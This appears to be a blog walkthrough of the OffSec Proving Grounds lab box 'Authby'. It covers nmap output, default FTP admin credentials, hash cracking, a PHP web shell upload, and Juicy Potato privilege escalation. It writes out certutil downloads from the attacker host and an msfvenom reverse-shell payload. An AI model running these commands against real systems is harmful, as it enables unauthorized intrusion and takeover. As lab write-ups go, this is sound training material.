Summary
https://deepai.org/machine-learning-model/hologram-3d-generator Offsec’s Proving Grounds Practice box Authby is rated intermediate, however the community disagrees and has given the box a rating of hard. I found the box challenging, but I wouldn’t necessarily agree with the hard rating that the community gave it. The box starts off with abusing default credentials to expose user credentials to a web application, where a web shell can be placed to achieve a foothold on the machine. Privilege escalation is gained by abusing user privileges to catch a reverse shell as NT Authority\System. — NMAP Scan makoyi@kali 01/08/26 17:47 - 192.168.45.218 [~] ❯ sudo nmap -Pn -n 192.168.168.46 -sC -sV -p- —open [sudo] password for makoyi: Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-01 17:48 -0500 Nmap scan report for 192.168.168.46 Host is up (0.098s latency). Not shown: 65531 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to —defeat-rst-ratelimit PORT STATE SERVICE VERSION 21/tcp open ftp zFTPServer 6.0 build 2011-10-17 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | total 9680 | ---------- 1 root root 5610496 Oct 18 2011 zFTPServer.exe | ---------- 1 root root 25 Feb 10 2011 UninstallService.bat | ---------- 1 root root 4284928 Oct 18 2011 Uninstall.exe | ---------- 1 root root 17 Aug 13 2011 StopService.bat | ---------- 1 root root 18 Aug 13 2011 StartService.bat | ---------- 1 root root 8736 Nov 09 2011 Settings.ini | dr-xr-xr-x 1 root root 512 Aug 02 05:52 log | ---------- 1 root root 2275 Aug 08 2011 LICENSE.htm | ---------- 1 root root 23 Feb 10 2011 InstallService.bat | dr-xr-xr-x 1 root root 512 Nov 08 2011 extensions | dr-xr-xr-x 1 root root 512 Nov 08 2011 certificates |_dr-xr-xr-x 1 root root 512 Aug 02 2024 accounts 242/tcp open http Apache httpd 2.2.21 ((Win32) PHP/5.3.8) |http-server-header: Apache/2.2.21 (Win32) PHP/5.3.8 | http-auth: | HTTP/1.1 401 Authorization Required\x0D | Basic realm=Qui e nuce nuculeum esse volt, frangit nucem! |_http-title: 401 Authorization Required 3145/tcp open zftp-admin zFTPServer admin 3389/tcp open ms-wbt-server Microsoft Terminal Service |_ssl-date: 2026-08-01T22:52:59+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=LIVDA | Not valid before: 2024-08-01T10:50:21 |Not valid after: 2025-01-31T10:50:21 | rdp-ntlm-info: | Target_Name: LIVDA | NetBIOS_Domain_Name: LIVDA | NetBIOS_Computer_Name: LIVDA | DNS_Domain_Name: LIVDA | DNS_Computer_Name: LIVDA | Product_Version: 6.0.6001 | System_Time: 2026-08-01T22:52:54+00:00 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 298.89 seconds The first thing that caught my eye was the anonymous authentication to port 21. After logging in and doing some exploring through the log and accounts directories, there turned out to be nothing too exciting that anonymous had access to. I then turned my attention to port 242, but without credentials to authorize to the web application, there wasn’t much to do yet. Here, I turned my attention towards port 3145 hosting zFTPserver admin. While I was searching for potential vulnerabilities, I found that the default credentials were admin:admin. Using those default credentials on port 21, led to the exposure of user credentials for the web application on port 242. After cracking the password using hashcat, we find that the credentials are offsec:elite. hashcat -m 1600 -a 0 hash /usr/share/wordlists/rockyou.txt Now that we have access to the web application with the credentials found, we create a web shell. My go to, especially on Windows machines, is PHP Ivan Sincek from https://www.revshells.com/ Get Makoyi’s stories in your inbox Join Medium for free to get updates from this writer. By using put, while logged in as admin in the ftp server, we upload our web shell. Start a netcat listener and log in using the credentials we just found, and go to the extension for the web shell just uploaded. http://192.168.168.46:242/shell.php Checking the listener, we have a web shell as apache. You can find the the first flag, local.txt, at C:\Users\apache\Desktop\local.txt. The first thing that I like to do once I gain access as a user, is to check the privileges. Well look at that. SeImpersonatePrivilege is enabled. That means we have a clear path for privilege escalation. As a good rule of thumb, before blindly trying every potato or PrintSpoofer at your disposal, it is a good idea to run systeminfo to see what architecture the machine you’re working on is running. Based on the output above, we can use Juicy.Potato.x86.exe. Using certutil, upload Juicy Potato to the Windows machine. certutil -urlcache -f -split http://192.168.45.218/temp/Juicy.Potato.x86.exe Looking at the documentation to execute Juicy Potato, there are mandatory arguments that have to be used. Createprocess call, program to execute, and COM server listening port. I would also recommend using the optional argument -c for the CLSID, I went for the first one on the list out of the juicy-potato documentation. I wanted Juicy Potato to throw a reverse shell back to my Linux machine, so the first thing that I did was create an .exe using msfvenom. msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.218 LPORT=8888 -f exe -o shell.exe -a x86 —platform windows Then using certutil, upload the shell.exe and Juicy.Potato.x86.exe to the windows machine. certutil -urlcache -f -split http://192.168.45.218/temp/shell.exe Now start up a netcat listener to the port from the created reverse shell, in my case port 8888. Now that we have a program to execute, we fill out the rest of the arguments. .\Juicy.Potato.x86.exe -l 8888 -p C:\wamp\bin\apache\Apache2.2.21\shell.exe -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} Checking the netcat listener, we are now NT Authority\System. You can find the final flag at C:\Users\Administrator\Desktop\proof.txt.